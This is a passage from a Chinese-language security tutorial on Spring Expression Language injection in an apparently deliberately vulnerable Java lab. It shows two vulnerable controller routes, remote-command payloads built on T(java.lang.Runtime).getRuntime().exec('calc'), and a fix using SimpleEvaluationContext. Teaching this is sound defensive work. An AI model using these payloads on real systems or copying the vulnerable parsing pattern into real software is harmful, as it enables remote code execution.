Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能,因为SpEL的功能强大允许在表达式中动态调用方法。

1.路由/spel/vuln1

漏洞代码:

   @RequestMapping("/spel/vuln1")
    public String spel_vuln1(String value) {
        ExpressionParser parser = new SpelExpressionParser();
        return parser.parseExpression(value).getValue().toString();
    }

可以通过spel表达式实现命令执行

T(java.lang.Runtime).getRuntime().exec("calc")

image-20241009100727504

2.路由/spel/vuln2

漏洞代码:

  @RequestMapping("spel/vuln2")
    public String spel_vuln2(String value) {
        StandardEvaluationContext context = new StandardEvaluationContext();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(value, new TemplateParserContext());
        Object x = expression.getValue(context);    // trigger vulnerability point
        return x.toString();   // response
    }

比上面代码多套了一层模板引擎,所以这里要多加个#{}去解析

 #{T(java.lang.Runtime).getRuntime().exec('calc')}

image-20241009102136299

漏洞修复

修复代码:

  @RequestMapping("spel/sec")
    public String spel_sec(String value) {
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(value, new TemplateParserContext());
        Object x = expression.getValue(context);
        return x.toString();
    }

使用 SimpleEvaluationContext进行加固,定义一个只读的上下文环境防止不安全的操作

十四、Deserialize反序列化


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com